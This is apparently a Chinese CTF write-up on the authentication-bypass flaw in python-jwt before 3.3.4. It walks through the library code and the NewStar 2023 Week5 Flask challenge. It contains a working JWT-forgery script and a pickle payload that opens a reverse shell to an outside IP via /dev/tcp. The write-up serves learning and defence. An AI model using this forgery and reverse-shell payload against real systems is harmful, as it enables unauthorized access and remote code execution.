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前言

在Asal1n师傅的随口一说之下，说newstar week5出了一道祥云杯一样的CVE，于是自己也是跑去看了一下，确实是自己不知道的一个CVE漏洞，于是就从这道题学习到了python-jwt库中的身份验证绕过漏洞，顺带做了一下简单的代码分析。

影响版本

python-jwt < 3.3.4

漏洞分析

这个漏洞造成的原因更像是库的作者在编写代码的时候疏忽导致的，使得验证的payload内容和返回的payload内容并不是一个payload导致的，下面来简单分析一下。

先给出github上作者漏洞修补的大致payload，利用payload进行测试，如下：
python-jwt库地址

from json import *
from python_jwt import *
from jwcrypto import jwkpayload = {'role': "guest"}
key = jwk.JWK.generate(kty='oct', size=256)
jwt_json = generate_jwt(payload, key, 'HS256', timedelta(minutes=60))
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
fake = base64url_encode((dumps(parsed_payload,separators=(',', ':'))))#这里separators就是消除了空格，不加似乎也并不影响漏洞。
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)
token = verify_jwt(fake_jwt, key, ['HS256'])
print(token)

1. 首先是刚进入前面的代码。

#判断是否存在可用的签名算法if allowed_algs is None:allowed_algs = []
#如果可用的签名算法不是列表，抛出异常if not isinstance(allowed_algs, list):# jwcrypto only supports list of allowed algorithmsraise _JWTError('allowed_algs must be a list')
#以.分割jwt的三部分header, claims, _ = jwt.split('.')
#取出头部分进行base64解码和json解析parsed_header = json_decode(base64url_decode(header))
#取出头部算法中的alg参数，此处就是PS256，如果为空或算法不允许，则抛出异常alg = parsed_header.get('alg')if alg is None:raise _JWTError('alg header not present')if alg not in allowed_algs:raise _JWTError('algorithm not allowed: ' + alg)
#ignore_not_implemented默认就是False，遍历头部的键，是否在被JWS所支持，不支持抛出异常if not ignore_not_implemented:for k in parsed_header:if k not in JWSHeaderRegistry:raise _JWTError('unknown header: ' + k)if not JWSHeaderRegistry[k].supported:raise _JWTError('header not implemented: ' + k)
#对签名进行验证，对jwt进行解析，这里传入的jwt为原始的jwt字段if pub_key:token = JWS()token.allowed_algs = allowed_algstoken.deserialize(jwt, pub_key)

这里的base64url_decode()是一个用于解码Base64 URL安全编码的函数。
Base64 URL安全编码将标准的Base64编码进行了一些修改，以便在URL中传输时不会产生冲突。
具体而言，它使用"-“替换”+“，使用”_“替换”/“，并且将结尾的”="去除，并且会忽略掉不是base64的字符。

2. 进入到deserialize中对签名进行验证，代码如下：

    def deserialize(self, raw_jws, key=None, alg=None):self.objects = {}o = {}try:try:#对传入的原始的jwt进行json解析djws = json_decode(raw_jws)#判断是否有多个签名，有则取出签名存放到列表当中if 'signatures' in djws:o['signatures'] = []for s in djws['signatures']:os = self._deserialize_signature(s)o['signatures'].append(os)self._deserialize_b64(o, os.get('protected'))#单个签名的情况，直接从原始的jwt中取出签名字段，并且将protected以及header赋值给o对象返回else:o = self._deserialize_signature(djws)self._deserialize_b64(o, o.get('protected'))#是否继续base64解码if 'payload' in djws:#解析payload字段if o.get('b64', True):o['payload'] = base64url_decode(str(djws['payload']))else:o['payload'] = djws['payload']except ValueError:#如果json解析异常，则直接以. 分割，提取出三个部分分别赋值c = raw_jws.split('.')if len(c) != 3:raise InvalidJWSObject('Unrecognized'' representation') from Nonep = base64url_decode(str(c[0]))if len(p) > 0:o['protected'] = p.decode('utf-8')self._deserialize_b64(o, o['protected'])o['payload'] = base64url_decode(str(c[1]))o['signature'] = base64url_decode(str(c[2]))self.objects = o #将o赋值给objects对象except Exception as e:  # pylint: disable=broad-exceptraise InvalidJWSObject('Invalid format') from eif key:self.verify(key, alg)#将签名算法和key传入verify函数中

3. verify()函数如下:

    def verify(self, key, alg=None, detached_payload=None):self.verifylog = []#默认验证是不通过的self.objects['valid'] = Falseobj = self.objectsmissingkey = Falseif 'signature' in obj:payload = self._get_obj_payload(obj, detached_payload)#直接提取出payload部分#直至这里，传入的解析部分还是原本正常的jwt的字符串，所以_verify也是通过的，将验证生效设置为了truetry:self._verify(alg, key,payload,obj['signature'],obj.get('protected', None),obj.get('header', None))obj['valid'] = Trueexcept Exception as e:  # pylint: disable=broad-exceptif isinstance(e, JWKeyNotFound):missingkey = Trueself.verifylog.append('Failed: [%s]' % repr(e))#多个签名的情况elif 'signatures' in obj:payload = self._get_obj_payload(obj, detached_payload)for o in obj['signatures']:try:self._verify(alg, key,payload,o['signature'],o.get('protected', None),o.get('header', None))# Ok if at least one verifiesobj['valid'] = Trueexcept Exception as e:  # pylint: disable=broad-exceptif isinstance(e, JWKeyNotFound):missingkey = Trueself.verifylog.append('Failed: [%s]' % repr(e))else:raise InvalidJWSSignature('No signatures available')#如果签名验证不通过，抛出异常if not self.is_valid:if missingkey:raise JWKeyNotFound('No working key found in key set')raise InvalidJWSSignature('Verification failed for all ''signatures' + repr(self.verifylog))

这里经过验证码后的token其实是原本正常的jwt，跟伪造的payload还没有关系

4. 代码继续往下走

#json解析.分割出来的中间部分，即我们而已构造的payloadparsed_claims = json_decode(base64url_decode(claims))#获取一些时间参数utcnow = datetime.utcnow()now = timegm(utcnow.utctimetuple())
#从header头中获取到类型JWT，并进行一些判断，不为JWT抛出异常typ = parsed_header.get('typ')if typ is None:if not checks_optional:raise _JWTError('typ header not present')elif typ != 'JWT':raise _JWTError('typ header is not JWT')
#从fakepayload中获取到iat的值即时间戳，判断令牌的签发时间是否有效iat = parsed_claims.get('iat')if iat is None:if not checks_optional:raise _JWTError('iat claim not present')elif iat > timegm((utcnow + iat_skew).utctimetuple()):raise _JWTError('issued in the future')
#获取jwt令牌的生效时间，此时是否有效nbf = parsed_claims.get('nbf')if nbf is None:if not checks_optional:raise _JWTError('nbf claim not present')elif nbf > now:raise _JWTError('not yet valid')
# 获取到令牌的过期即有效截止时间，判断令牌是否有效，如果小于现在时间，则过期exp = parsed_claims.get('exp')if exp is None:if not checks_optional:raise _JWTError('exp claim not present')elif exp <= now:raise _JWTError('expired')
# 返回.分割后的头部和中间部分即我们的fakepayloadreturn parsed_header, parsed_claims

可以看出，在验证令牌的时候使用的是正常的JWT，而返回的却是以.分割的传入jwt的中间部分和头部，使得解析返回的payload和验证签名的pauload并不是一个payload，导致了身份绕过。

Newstar2023 Week5

题目给了源码如下：

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *app = Flask(__name__)def generate_random_string(length=16):characters = string.ascii_letters + string.digits  # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_stringapp.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)@app.route("/")
def index():payload = request.args.get("token")if payload:token = verify_jwt(payload, key, ['PS256'])print(token)session["role"] = token[1]['role']return render_template('index.html')else:session["role"] = "guest"user = {"username": "boogipop", "role": "guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))return jwt@app.route("/pickle")
def unser():if session["role"] == "admin":pickle.loads(base64.b64decode(request.args.get("pickle")))return 'success'else:return 'fail'if __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)

题目的思路也是十分简单，通过伪造JWT，使得返回来的fake_payload中第二部分的role和admin，然后进行pickle反序列化即可。

1. 利用原题目guest的jwwt直接进行伪造，绕过身份验证

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decodedef topic(topic):[header, payload, signature] = topic.split('.')parsed_payload = loads(base64url_decode(payload))print(parsed_payload)parsed_payload["role"] = "admin"print(dumps(parsed_payload, separators=(',', ':')))fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))print(fake_payload)return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} 'print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTkzNjkyMzcsImlhdCI6MTY5OTM2NTYzNywianRpIjoiTUV0SEJKX1JZeVR3MmhnUmZMcnFsdyIsIm5iZiI6MTY5OTM2NTYzNywicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.nw0s5c4lL0GtUBb7IJTbIhVTE7kzNg7s4l93PrhWZmYKuxWCyZmi7cKWE63Tv3Z6sdUQVp_7IlM8yiY32mNSOwRHCADWllFo18bmlXVri_qdWR-CCVkVi6npIliEBXl_Hbpnh64dCIQuY13-gr0Y412svenGADO-uubqxT3Ml7dlpnaDZ7F06ISkg_m4syc0DQpKKuQv4xFshMYHgaxCCkLpJCMHScIxSjSjoxpD3LnNjYRXgVue8R4TcZ75ZWgaSmkNUmHUrizdTFyi0GVutnaT1Nw4yZKkS5DZxAVUYqcARLUSGvWmt1pZnyny0eR23q7Z8X7Mw-LytE-XfmkAFQ'))

2. 这里返回的session就是admin的session

3. 触发pickle反序列化，反弹shell

import base64p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/120.79.29.170/5555 0>&1\"'\no"
payload=base64.b64encode(p)
print(payload)

总结

JWT的话题总是不息的，包括一些空认证等，nodejs中的数组绕过等等，漏洞也是频出。